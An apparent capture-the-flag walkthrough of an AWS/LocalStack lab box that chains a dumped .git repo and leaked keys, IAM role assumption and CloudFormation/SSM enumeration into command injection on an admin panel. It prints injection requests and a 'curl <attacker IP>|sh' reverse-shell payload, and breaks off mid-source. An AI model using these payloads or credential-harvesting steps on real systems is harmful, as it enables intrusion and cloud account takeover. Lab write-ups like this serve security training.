Emit
Overview
Emit is a cloud-focused box built around a LocalStack-backed AWS environment. The chain is entirely AWS-driven:
- Dump the exposed
.gitrepository and recover hardcoded access/secret keys from old commits. - One of the commits documents an IAM role that can be assumed; assume it to gain a more privileged session.
- Use CloudFormation
describe-stacks(which leaks the admin panel password) and SSMlist-commands(which leaks the admin panel URL). - Log into the Maximus admin panel and abuse its command handling for RCE.
- Generate a malicious Lambda zip and exploit a LocalStack command-injection bug to execute code as root, where the root flag lives.
Nmap
An all-ports service scan reveals SSH and an Apache web server. Notably, Nmap’s http-git script flags an exposed .git repository on port 80, which immediately becomes the most promising lead.
Nmap scan report for emit.htb (10.129.229.92)
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
| http-git:
| 10.129.229.92:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Updating agents
|_http-title: Satellite Management System
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web Enumeration
Browsing to the site shows a “Satellite Management System”. Directory fuzzing with Feroxbuster confirms the exposed .git directory and its readable internals (HEAD, index, config, logs), which means the repository can be reconstructed offline.
http://emit.htb
Directory Fuzzing w/ Feroxbuster:
200 GET 7l 23w 20434c http://emit.htb/images/ico.ico
301 GET 9l 28w 305c http://emit.htb/images => http://emit.htb/images/
301 GET 9l 28w 309c http://emit.htb/javascript => http://emit.htb/javascript/
301 GET 9l 28w 303c http://emit.htb/.git => http://emit.htb/.git/
200 GET 1l 2w 23c http://emit.htb/.git/HEAD
200 GET 4l 6w 212c http://emit.htb/.git/index
200 GET 5l 13w 92c http://emit.htb/.git/config
301 GET 9l 28w 308c http://emit.htb/.git/logs => http://emit.htb/.git/logs/
200 GET 494l 1137w 11173c http://emit.htb/index.html
200 GET 494l 1137w 11173c http://emit.htb/
301 GET 9l 28w 308c http://emit.htb/.git/info => http://emit.htb/.git/info/
[>-------------------] - 7s 9451/5477104 69m found:11 errors:0
[>-------------------] - 7s 3516/780140 493/s http://emit.htb/
[>-------------------] - 5s 553/782824 123/s http://emit.htb/images/
[>-------------------] - 4s 981/782824 223/s http://emit.htb/javascript/
[>-------------------] - 3s 648/782824 186/s http://emit.htb/.git/
[>-------------------] - 3s 326/782824 94/s http://emit.htb/.git/logs/
feroxbuster -u http://emit.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
200 GET 1l 2w 23c http://emit.htb/.git/HEAD
200 GET 4l 6w 212c http://emit.htb/.git/index
200 GET 5l 13w 92c http://emit.htb/.git/config
301 GET 9l 28w 303c http://emit.htb/.git => http://emit.htb/.git/
200 GET 7l 23w 20434c http://emit.htb/images/ico.ico
200 GET 494l 1137w 11173c http://emit.htb/

Git Dumping
With the .git directory exposed, git_dumper.py reconstructs the full local repository by fetching the objects, refs, and logs.
$ git_dumper.py http://emit.htb/.git git-dump
[-] Testing http://emit.htb/.git/HEAD [200]
[-] Testing http://emit.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://emit.htb/.gitignore [404]
[-] http://emit.htb/.gitignore responded with status code 404
[-] Fetching http://emit.htb/.git/hooks/post-receive.sample [404]
[-] http://emit.htb/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching http://emit.htb/.git/description [200]
[-] Fetching http://emit.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://emit.htb/.git/hooks/post-commit.sample [404]
[-] http://emit.htb/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching http://emit.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching http://emit.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://emit.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://emit.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://emit.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://emit.htb/.git/hooks/pre-receive.sample [200]
[-] Fetching http://emit.htb/.git/hooks/pre-push.sample [200]
[-] Fetching http://emit.htb/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://emit.htb/.git/index [200]
[-] Fetching http://emit.htb/.git/info/exclude [200]
[-] Fetching http://emit.htb/.git/objects/info/packs [404]
[-] http://emit.htb/.git/objects/info/packs responded with status code 404
[-] Fetching http://emit.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://emit.htb/.git/hooks/update.sample [200]
[-] Finding refs/
[-] Fetching http://emit.htb/.git/HEAD [200]
[-] Fetching http://emit.htb/.git/FETCH_HEAD [404]
[-] http://emit.htb/.git/FETCH_HEAD responded with status code 404
[-] Fetching http://emit.htb/.git/info/refs [404]
[-] http://emit.htb/.git/info/refs responded with status code 404
[-] Fetching http://emit.htb/.git/logs/HEAD [200]
[-] Fetching http://emit.htb/.git/logs/refs/remotes/origin/HEAD [404]
[-] http://emit.htb/.git/logs/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://emit.htb/.git/config [200]
[-] Fetching http://emit.htb/.git/ORIG_HEAD [404]
[-] http://emit.htb/.git/ORIG_HEAD responded with status code 404
[-] Fetching http://emit.htb/.git/packed-refs [404]
[-] http://emit.htb/.git/packed-refs responded with status code 404
[-] Fetching http://emit.htb/.git/logs/refs/remotes/origin/master [404]
[-] Fetching http://emit.htb/.git/refs/heads/master [200]
[-] Fetching http://emit.htb/.git/logs/refs/heads/master [200]
[-] http://emit.htb/.git/logs/refs/remotes/origin/master responded with status code 404
[-] Fetching http://emit.htb/.git/logs/refs/stash [404]
[-] http://emit.htb/.git/logs/refs/stash responded with status code 404
[-] Fetching http://emit.htb/.git/refs/remotes/origin/HEAD [404]
[-] http://emit.htb/.git/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://emit.htb/.git/refs/stash [404]
[-] http://emit.htb/.git/refs/stash responded with status code 404
[-] Fetching http://emit.htb/.git/refs/remotes/origin/master [404]
[-] http://emit.htb/.git/refs/remotes/origin/master responded with status code 404
[-] Fetching http://emit.htb/.git/refs/wip/wtree/refs/heads/master [404]
[-] http://emit.htb/.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] Fetching http://emit.htb/.git/refs/wip/index/refs/heads/master [404]
[-] http://emit.htb/.git/refs/wip/index/refs/heads/master responded with status code 404
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://emit.htb/.git/objects/9c/b739e6e09e04bba0aa08b486f58923fb5db514 [200]
[-] Fetching http://emit.htb/.git/objects/a9/257fef04b544d4b78b5000d348eb3840dec021 [200]
[-] Fetching http://emit.htb/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] http://emit.htb/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
[-] Fetching http://emit.htb/.git/objects/77/9fd8c0addcc233c71ae55b5d31108c2fac1f5a [200]
[-] Fetching http://emit.htb/.git/objects/8d/e0f0454018ef58c55796c83acd19bd873f44d0 [200]
[-] Fetching http://emit.htb/.git/objects/fd/2ffd54e0360d7c87e63310f2a958a7d78a0ab8 [200]
[-] Fetching http://emit.htb/.git/objects/2a/e71d32b890edc67a820c3d9ffff418cb372561 [200]
[-] Fetching http://emit.htb/.git/objects/80/4adaddd95add15db577b95af144dff229fdac8 [200]
[-] Fetching http://emit.htb/.git/objects/0c/9630e5fb5a8eca82b0cf8c7ef7d64899185f0a [200]
[-] Fetching http://emit.htb/.git/objects/4d/c2f4f92e665d6628b28cefa00631271a570506 [200]
[-] Fetching http://emit.htb/.git/objects/7e/13637ad2aac45133458a163326429b99790825 [200]
[-] Fetching http://emit.htb/.git/objects/51/cd630faf190947eb3e8e0cbce4a8d9911e152c [200]
[-] Fetching http://emit.htb/.git/objects/1a/f1f52484455323b7ceecf3f145a475482b841e [200]
[-] Fetching http://emit.htb/.git/objects/09/c25f1b3e7024f882461711e8483da18613331f [200]
[-] Fetching http://emit.htb/.git/objects/6d/99d3007b47069dc29b0e92233056e148c55c02 [200]
[-] Fetching http://emit.htb/.git/objects/2c/2ed39df3a0c77f762af86f9a6a40ae567e2f20 [200]
[-] Running git checkout .
Reviewing the commit history shows a series of “agent” deployments authored by maximus_supervisor, which gives us a likely username and hints that interesting changes were made across commits.
git log
commit a9257fef04b544d4b78b5000d348eb3840dec021 (HEAD -> master)
Author: maximus_supervisor <[email protected]>
Date: Tue Jul 4 05:25:02 2023 +0000
Updating agents
commit fd2ffd54e0360d7c87e63310f2a958a7d78a0ab8
Author: maximus_supervisor <[email protected]>
Date: Tue Jul 4 05:23:30 2023 +0000
Redeploying agents
commit 9cb739e6e09e04bba0aa08b486f58923fb5db514
Author: maximus_supervisor <[email protected]>
Date: Tue Jul 4 05:22:49 2023 +0000
Redeploying stack
commit 2ae71d32b890edc67a820c3d9ffff418cb372561
Author: maximus_supervisor <[email protected]>
Date: Tue Jul 4 05:21:45 2023 +0000
Initialization of agents
commit 8de0f0454018ef58c55796c83acd19bd873f44d0
Author: maximus_supervisor <[email protected]>
Date: Tue Jul 4 05:19:49 2023 +0000
Payload stack deployment
Dumping the full diff history reveals that an earlier commit hardcoded AWS credentials (later refactored to read from environment variables) along with the LocalStack endpoint URL.
git log -p > ../git-diffs
+endpoint_url = 'http://cloud.emit.htb' #Localstack v0.12.6
-access_key_id = "AKIA6CFMOGSLALOPETMB"
-secret_access_key = "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"
-region = "us-east-2"
git-diffs
The complete git log -p output is below. Beyond the leaked keys, the agent-stack.yaml CloudFormation template and the deleted IAMRole named maximus-agent are important: they describe an IAM role with broad CloudFormation and S3 permissions that can later be assumed.
commit a9257fef04b544d4b78b5000d348eb3840dec021
Author: maximus_supervisor <[email protected]>
Date: Tue Jul 4 05:25:02 2023 +0000
Updating agents
diff --git a/agent-stack.yaml b/agent-stack.yaml
deleted file mode 100644
index 09c25f1..0000000
--- a/agent-stack.yaml
+++ /dev/null
@@ -1,37 +0,0 @@
-AWSTemplateFormatVersion: "2010-09-09"
-Resources:
- LambdaRole:
- Type: 'AWS::IAM::Role'
- Properties:
- AssumeRolePolicyDocument:
- Version: "2012-10-17"
- Statement:
- - Effect: Allow
- Principal:
- Service:
- - ec2.amazonaws.com
- Action:
- - 'sts:AssumeRole'
- Path: /
- Policies:
- - PolicyName: root
- PolicyDocument:
- Version: "2012-10-17"
- Statement:
- - Effect: Allow
- Action: 's3:*'
- Resource: '*'
-
- MyLambdaFunction:
- Type: AWS::Lambda::Function
- Properties:
- Role: !GetAtt LambdaRole.Arn
- Runtime: python3.9
- Handler: index.lambda_handler
- code:
- ZipFile: |
- def lambda_handler(event, context):
- return "Runtime!" #Todo
- Tags:
- - Key: Lambda
- Value: Payload-Deployment
diff --git a/ssm_agent.py b/ssm_agent.py
index 2c2ed39..779fd8c 100644
--- a/ssm_agent.py
+++ b/ssm_agent.py
@@ -5,6 +5,7 @@ import os
access_key_id = os.environ.get('AWS_ACCESS_KEY_ID')
secret_access_key = os.environ.get('AWS_SECRET_ACCESS_KEY')
region = os.environ.get('AWS_DEFAULT_REGION')
+endpoint_url = '[http://cloud.emit.htb'](http://cloud.emit.htb') #Localstack v0.12.6
# Create an AWS session using the retrieved credentials and region
session = boto3.Session(
commit fd2ffd54e0360d7c87e63310f2a958a7d78a0ab8
Author: maximus_supervisor <[email protected]>
Date: Tue Jul 4 05:23:30 2023 +0000
Redeploying agents
diff --git a/ssm_agent.py b/ssm_agent.py
index 6d99d30..2c2ed39 100644
--- a/ssm_agent.py
+++ b/ssm_agent.py
@@ -1,9 +1,10 @@
import boto3
import os
-access_key_id = "AKIA6CFMOGSLALOPETMB"
-secret_access_key = "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"
-region = "us-east-2"
+# Retrieve AWS credentials from environment variables
+access_key_id = os.environ.get('AWS_ACCESS_KEY_ID')
+secret_access_key = os.environ.get('AWS_SECRET_ACCESS_KEY')
+region = os.environ.get('AWS_DEFAULT_REGION')
# Create an AWS session using the retrieved credentials and region
session = boto3.Session(
commit 9cb739e6e09e04bba0aa08b486f58923fb5db514
Author: maximus_supervisor <[email protected]>
Date: Tue Jul 4 05:22:49 2023 +0000
Redeploying stack
diff --git a/agent-stack.yaml b/agent-stack.yaml
index 1af1f52..09c25f1 100644
--- a/agent-stack.yaml
+++ b/agent-stack.yaml
@@ -35,27 +35,3 @@ Resources:
Tags:
- Key: Lambda
Value: Payload-Deployment
- IAMRole:
- Type: AWS::IAM::Role
- Properties:
- AssumeRolePolicyDocument:
- Version: "2012-10-17"
- Statement:
- - Effect: Allow
- Principal:
- Service:
- - lambda.amazonaws.com
- Action:
- - 'sts:AssumeRole'
- Description: Role to provide access to S3
- Policies:
- - PolicyName: EmbeddedInlinePolicy
- PolicyDocument:
- Version: "2012-10-17"
- Statement:
- - Effect: Allow
- Action: 'cloudformation:*'
- Resource: '*'
- ManagedPolicyArns:
- - arn:aws:iam::aws:policy/AmazonS3FullAccess
- RoleName: maximus-agent
commit 2ae71d32b890edc67a820c3d9ffff418cb372561
Author: maximus_supervisor <[email protected]>
Date: Tue Jul 4 05:21:45 2023 +0000
Initialization of agents
diff --git a/ssm_agent.py b/ssm_agent.py
new file mode 100644
index 0000000..6d99d30
--- /dev/null
+++ b/ssm_agent.py
@@ -0,0 +1,85 @@
+import boto3
+import os
+
+access_key_id = "AKIA6CFMOGSLALOPETMB"
+secret_access_key = "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"
+region = "us-east-2"
+
+# Create an AWS session using the retrieved credentials and region
+session = boto3.Session(
+ aws_access_key_id=access_key_id,
+ aws_secret_access_key=secret_access_key,
+ region_name=region
+)
+
+def create_document(name, content):
+ ssm_client = session.client('ssm')
+
+ response = ssm_client.create_document(
+ Content=content,
+ Name=name,
+ )
+
+ document_version = response['DocumentDescription']['DocumentVersion']
+ document_name = response['DocumentDescription']['Name']
+ print(f"Document '{document_name}' created with version: {document_version}")
+
+def add_tags_to_resource(resource_arn, tags):
+ ssm_client = session.client('ssm')
+
+ response = ssm_client.add_tags_to_resource(
+ ResourceType='Document',
+ ResourceId=resource_arn,
+ Tags=tags,
+ )
+
+ print(f"Tags added to resource: {resource_arn}")
+
+def send_command_to_instances(instance_ids, command):
+ ssm_client = session.client('ssm')
+
+ response = ssm_client.send_command(
+ DocumentName='AWS-RunShellScript',
+ InstanceIds=instance_ids,
+ Parameters={'commands': [command]},
+ )
+
+ command_id = response['Command']['CommandId']
+ print(f"Command '{command}' sent to instances: {', '.join(instance_ids)}")
+ print(f"Command ID: {command_id}")
+
+# Example usage
+if __name__ == '__main__':
+ # Create an SSM document
+ document_name = 'MySSMDocument'
+ document_content = '''
+ {
+ "schemaVersion": "2.2",
+ "description": "My SSM document",
+ "mainSteps": [
+ {
+ "name": "RunCommand",
+ "action": "aws:runShellScript",
+ "inputs": {
+ "runCommand": [
+ "echo 'Running custom script'"
+ ]
+ }
+ }
+ ]
+ }
+ '''
+ create_document(document_name, document_content)
+
+ # Add tags to an AWS resource (SSM document)
+ resource_arn = f"arn:aws:ssm:{region}:123456789012:document/{document_name}"
+ tags = [
+ {'Key': 'Environment', 'Value': 'Production'},
+ {'Key': 'Project', 'Value': 'Payload Control System'},
+ ]
+ add_tags_to_resource(resource_arn, tags)
+
+ # Send a command to EC2 instances
+ instance_ids = ['i-0b6abfb4681d96994', 'i-0a2aff07a25c66208']
+ command = ''
+ send_command_to_instances(instance_ids, command)
commit 8de0f0454018ef58c55796c83acd19bd873f44d0
Author: maximus_supervisor <[email protected]>
Date: Tue Jul 4 05:19:49 2023 +0000
Payload stack deployment
diff --git a/agent-stack.yaml b/agent-stack.yaml
new file mode 100644
index 0000000..1af1f52
--- /dev/null
+++ b/agent-stack.yaml
@@ -0,0 +1,61 @@
+AWSTemplateFormatVersion: "2010-09-09"
+Resources:
+ LambdaRole:
+ Type: 'AWS::IAM::Role'
+ Properties:
+ AssumeRolePolicyDocument:
+ Version: "2012-10-17"
+ Statement:
+ - Effect: Allow
+ Principal:
+ Service:
+ - ec2.amazonaws.com
+ Action:
+ - 'sts:AssumeRole'
+ Path: /
+ Policies:
+ - PolicyName: root
+ PolicyDocument:
+ Version: "2012-10-17"
+ Statement:
+ - Effect: Allow
+ Action: 's3:*'
+ Resource: '*'
+
+ MyLambdaFunction:
+ Type: AWS::Lambda::Function
+ Properties:
+ Role: !GetAtt LambdaRole.Arn
+ Runtime: python3.9
+ Handler: index.lambda_handler
+ code:
+ ZipFile: |
+ def lambda_handler(event, context):
+ return "Runtime!" #Todo
+ Tags:
+ - Key: Lambda
+ Value: Payload-Deployment
+ IAMRole:
+ Type: AWS::IAM::Role
+ Properties:
+ AssumeRolePolicyDocument:
+ Version: "2012-10-17"
+ Statement:
+ - Effect: Allow
+ Principal:
+ Service:
+ - lambda.amazonaws.com
+ Action:
+ - 'sts:AssumeRole'
+ Description: Role to provide access to S3
+ Policies:
+ - PolicyName: EmbeddedInlinePolicy
+ PolicyDocument:
+ Version: "2012-10-17"
+ Statement:
+ - Effect: Allow
+ Action: 'cloudformation:*'
+ Resource: '*'
+ ManagedPolicyArns:
+ - arn:aws:iam::aws:policy/AmazonS3FullAccess
+ RoleName: maximus-agent
AWS Assume Role
The leaked endpoint points the AWS CLI at the LocalStack instance, and the recovered keys are configured as the default profile.
export AWS_ENDPOINT_URL=http://cloud.emit.htb
aws configure
AWS Access Key ID [****************QTMA]: AKIA6CFMOGSLALOPETMB
AWS Secret Access Key [****************7CB5]: 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
Default region name [us-east-1]: us-east-2
Default output format [None]: yaml
Confirming the identity shows we are the integration_engineer user.
aws sts get-caller-identity
Account: '925169031785'
Arn: arn:aws:iam::925169031785:user/integration_engineer
UserId: AKIAIOSFODNN7DXV3G29
Recall the deleted CloudFormation template defined a maximus-agent role. We assume it via STS to obtain a more privileged session.
aws sts assume-role --role-arn "arn:aws:iam::925169031785:user/maximus-agent" --role-session-name 'i-assumed-an-user'
The response returns the assumed-role user and a fresh set of temporary credentials.
AssumedRoleUser
Arn: arn:aws:sts::000000000000:assumed-role/maximus-agent/i-assumed-an-user
AssumedRoleId: AROA3X42LBCDX46XPI2U5:i-assumed-an-user
Credentials
AccessKeyId: AKIA9DVLPWFJEPQSAGKM
Expiration: '2023-07-17T15:18:37.369000+00:00'
SecretAccessKey: viZy5C8XwF+RrLe0vCxLfj9efIDJl0kEOOONNku1
SessionToken: FQoGZXIvYXdzEBYaDg0lBY2ZIjfy+a3j+TmApXXCncc37mIKsfQ0E5ysJCIN/FgGAIDFiGx0qQRUS8qPkOSGPDVbv0PEbx0ebM6pHefylh9ZA0pdsv8Br27jx8CVBj5Y4d6wYpAyXpDlEVRzPgAi5RvgEinitTOFQ9LuTNeIHhvjUEXoFSZheDcsg0OaQupK2DjmkmVWMAARfAKD8rHtiyp+ZogkwV+lr+OdtJwHO3MsSIA82owXhNTTMsxSaw1OnHXispHZt7kZhptxg0sZR4Qf/LB+eQvZ7yyBRgb/D9qqQQfB3/8elE62eqG8HxeYddV4pQ5jaU1W6C2RJvg8GYdu1VL1SqHS/GM=
PackedPolicySize: 6
Reconfigure the CLI with the assumed-role credentials and confirm the new identity is maximus-agent.
aws configure
AWS Access Key ID [****************ETMB]: AKIA9DVLPWFJEPQSAGKM
AWS Secret Access Key [****************9wVc]: viZy5C8XwF+RrLe0vCxLfj9efIDJl0kEOOONNku1
Default region name [us-east-1]:
Default output format [yaml]:
aws sts get-caller-identity
Account: '236190431348'
Arn: arn:aws:iam::236190431348:user/maximus-agent
UserId: AKIAIPWQSFCB9GEL2P50
AWS CloudFormation
The maximus-agent role grants cloudformation:*. We enumerate stacks to look for sensitive parameters.
Reference: https://docs.aws.amazon.com/cli/latest/reference/cloudformation/describe-stacks.html
aws cloudformation describe-stacks
Stacks
Seven mission-deployment-stage* stacks come back, and stage 4 stands out: it carries a Password parameter in plaintext.
- Capabilities: []
CreationTime: '2023-07-17T13:52:53.250000+00:00'
Outputs: []
Parameters: []
StackId: arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage1/9a88e2f4
StackName: mission-deployment-stage1
StackStatus: CREATE_COMPLETE
Tags: []
- Capabilities: []
CreationTime: '2023-07-17T13:52:53.799000+00:00'
Outputs: []
Parameters: []
StackId: arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage2/70ae92cb
StackName: mission-deployment-stage2
StackStatus: CREATE_COMPLETE
Tags: []
- Capabilities: []
CreationTime: '2023-07-17T13:52:54.205000+00:00'
Outputs: []
Parameters: []
StackId: arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage3/4774210e
StackName: mission-deployment-stage3
StackStatus: CREATE_COMPLETE
Tags: []
- Capabilities: []
CreationTime: '2023-07-17T13:52:54.607000+00:00'
Outputs: []
Parameters:
- ParameterKey: Password
ParameterValue: dHgtu10kLmDrESd
StackId: arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage4/a6c4d741
StackName: mission-deployment-stage4
StackStatus: CREATE_COMPLETE
Tags: []
- Capabilities: []
CreationTime: '2023-07-17T13:52:55.016000+00:00'
Outputs: []
Parameters: []
StackId: arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage5/d2e0b537
StackName: mission-deployment-stage5
StackStatus: CREATE_COMPLETE
Tags: []
- Capabilities: []
CreationTime: '2023-07-17T13:52:55.415000+00:00'
Outputs: []
Parameters: []
StackId: arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage6/b132f44b
StackName: mission-deployment-stage6
StackStatus: CREATE_COMPLETE
Tags: []
- Capabilities: []
CreationTime: '2023-07-17T13:52:55.819000+00:00'
Outputs: []
Parameters: []
StackId: arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage7/39b84848
StackName: mission-deployment-stage7
StackStatus: CREATE_COMPLETE
Tags: []
Querying stage 4 directly isolates the password parameter.
aws cloudformation describe-stacks --stack-name "mission-deployment-stage4"
- Capabilities: []
CreationTime: '2023-07-17T13:52:54.607000+00:00'
Outputs: []
Parameters:
- ParameterKey: Password
ParameterValue: dHgtu10kLmDrESd
StackId: arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage4/a6c4d741
StackName: mission-deployment-stage4
StackStatus: CREATE_COMPLETE
Tags: []
AWS SSM List Commands
To find where to use the password, we enumerate the Systems Manager command history. The previously run commands reveal infrastructure setup steps and, crucially, the path to the admin panel.
Reference: https://docs.aws.amazon.com/cli/latest/reference/ssm/list-commands.html
aws ssm list-commands
Commands
The command history covers updating agents, installing Terraform, configuring LocalStack via docker-compose, and moving a backup out of /var/www/html/maximus-admin-panel/ — which leaks the admin panel directory.
- CommandId: 287f2a8d-ad43-47a1-841a-5dfe775c534d
Comment: Update agent systems
CompletedCount: 0
DocumentName: AWS-RunShellScript
ErrorCount: 0
ExpiresAfter: '2023-07-17T14:52:56.247641'
InstanceIds: []
MaxConcurrency: '50'
MaxErrors: '0'
NotificationArn: string
- Success
NotificationType: Command
OutputS3BucketName: ''
OutputS3KeyPrefix: ''
OutputS3Region: ''
Parameters:
commands:
- apt update -y
RequestedDateTime: '2023-07-17T13:52:56.247641'
ServiceRole: ''
Status: Success
StatusDetails: Details placeholder
TargetCount: 0
Targets:
- Key: instanceids
Values:
- i-1234567890abcdef0
- CommandId: 2300d3f6-25f4-4617-a038-aad204e2fce0
Comment: Configure automation
CompletedCount: 0
DocumentName: AWS-RunShellScript
ErrorCount: 0
ExpiresAfter: '2023-07-17T14:52:56.589957'
InstanceIds: []
MaxConcurrency: '50'
MaxErrors: '0'
NotificationArn: string
- Success
NotificationType: Command
OutputS3BucketName: ''
OutputS3KeyPrefix: ''
OutputS3Region: ''
Parameters:
commands:
- apt install -y terraform
RequestedDateTime: '2023-07-17T13:52:56.589957'
ServiceRole: ''
Status: Success
StatusDetails: Details placeholder
TargetCount: 0
Targets:
- Key: instanceids
Values:
- i-1234567890abcdef0
- CommandId: 4b86edba-d70e-4a4b-a71c-40deaf1ff2af
Comment: Configure localstack
CompletedCount: 0
DocumentName: AWS-RunShellScript
ErrorCount: 0
ExpiresAfter: '2023-07-17T14:52:57.148156'
InstanceIds: []
MaxConcurrency: '50'
MaxErrors: '0'
NotificationArn: string
- Success
NotificationType: Command
OutputS3BucketName: ''
OutputS3KeyPrefix: ''
OutputS3Region: ''
Parameters:
commands:
- pip3 install --upgrade awslocal
RequestedDateTime: '2023-07-17T13:52:57.148156'
ServiceRole: ''
Status: Success
StatusDetails: Details placeholder
TargetCount: 0
Targets:
- Key: instanceids
Values:
- i-1234567890abcdef0
- CommandId: 09a4d897-bd40-483f-8e16-5e2789f0116a
Comment: Configure localstack
CompletedCount: 0
DocumentName: AWS-RunShellScript
ErrorCount: 0
ExpiresAfter: '2023-07-17T14:52:57.678440'
InstanceIds: []
MaxConcurrency: '50'
MaxErrors: '0'
NotificationArn: string
- Success
NotificationType: Command
OutputS3BucketName: ''
OutputS3KeyPrefix: ''
OutputS3Region: ''
Parameters:
commands:
- docker-compose up -d
RequestedDateTime: '2023-07-17T13:52:57.678440'
ServiceRole: ''
Status: Success
StatusDetails: Details placeholder
TargetCount: 0
Targets:
- Key: instanceids
Values:
- i-1234567890abcdef0
- CommandId: ed13f323-2f16-45f9-a3b8-5c6480713cf6
Comment: Move backups from prod
CompletedCount: 0
DocumentName: AWS-RunShellScript
ErrorCount: 0
ExpiresAfter: '2023-07-17T14:52:58.127009'
InstanceIds: []
MaxConcurrency: '50'
MaxErrors: '0'
NotificationArn: string
- Success
NotificationType: Command
OutputS3BucketName: ''
OutputS3KeyPrefix: ''
OutputS3Region: ''
Parameters:
commands:
- mv /var/www/html/maximus-admin-panel/backup.tar.gz .
RequestedDateTime: '2023-07-17T13:52:58.127009'
ServiceRole: ''
Status: Success
StatusDetails: Details placeholder
TargetCount: 0
Targets:
- Key: instanceids
Values:
- i-1234567890abcdef0
Admin Panel RCE
The SSM history exposed the admin panel directory via the backup-move command.
mv /var/www/html/maximus-admin-panel/backup.tar.gz .
Browsing to that path gives the Maximus admin panel login.
http://emit.htb/maximus-admin-panel/
We re-check the stage 4 password, then log in to the panel using the username recovered from the git logs (maximus_supervisor) and this password.
aws cloudformation describe-stacks --stack-name "mission-deployment-stage4"
- Capabilities: []
CreationTime: '2023-07-17T13:52:54.607000+00:00'
Outputs: []
Parameters:
- ParameterKey: Password
ParameterValue: dHgtu10kLmDrESd
StackId: arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage4/a6c4d741
StackName: mission-deployment-stage4
StackStatus: CREATE_COMPLETE
Tags: []
After authenticating, the dashboard is reachable.
Login w/ username from git logs: maximus_supervisor and password from describe-stacks mission-deployment-stage4
http://emit.htb/maximus-admin-panel/dashboard.php
Dashboard Functionality
The dashboard exposes satellite status, a payload count, and an “Adjust Payloads” command field. Submitting the list-functions command returns an empty function list, confirming the field shells out to an AWS Lambda CLI call.
Satellite Status
Online
Satellite Count
3872
Command:
list-functions
{ "Functions": [] }
Command Injection
Because the command field is concatenated into a shell invocation, appending a shell metacharacter to an allowed keyword (list-functions) injects arbitrary commands. Adding ;id confirms code execution as the maximus_supervisor user.
POST /maximus-admin-panel/dashboard.php HTTP/1.1
Host: emit.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://emit.htb/maximus-admin-panel/dashboard.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://emit.htb
Connection: close
Cookie: PHPSESSID=4ikv1aamiteg3aurv32939dgms
Upgrade-Insecure-Requests: 1
cmd=list-functions;id
Output:
uid=1000(maximus_supervisor) gid=1000(maximus_supervisor) groups=1000(maximus_supervisor)
Reverse Shell
We escalate the injection to a full reverse shell by piping a hosted script to sh.
POST /maximus-admin-panel/dashboard.php HTTP/1.1
Host: emit.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://emit.htb/maximus-admin-panel/dashboard.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://emit.htb
Connection: close
Cookie: PHPSESSID=4ikv1aamiteg3aurv32939dgms
Upgrade-Insecure-Requests: 1
cmd=list-functions;curl 10.10.14.79|sh


Privilege Escalation: AWS Lambda LocalStack CVE RCE
With a shell as maximus_supervisor, reading the panel source explains the filtering logic. The handler only allows create-function, update-function-code, and list-functions, wraps the input through escapeshellarg, then manipulates the result. It also resolves fileb:// paths into the uploads/ directory, which is how a Lambda zip will be referenced.
maximus_supervisor@emit:/var/www/html/maximus-admin-panel$ cat dashboard.php
<?php
session_start();
if(isset($_SESSION['login'])){
if($_SERVER['REQUEST_METHOD']=="POST"){
$cmd = $_POST['cmd'];
if($cmd){
$list = ["create-function", "update-function-code", "list-functions"];
$matchFound = false;
foreach ($list as $item) {
if (strpos($cmd, $item) !== false) {
$matchFound = true;
break;
}
}
if($matchFound){
$command = 'aws --endpoint http://localhost:4566 lambda ' . escapeshellarg($cmd);
$commands = explode("'",$command);
$commands[1] = trim($commands[1],"'");
$command = implode($commands);
$command = str_replace('\\',"'",$command);
$output = array();
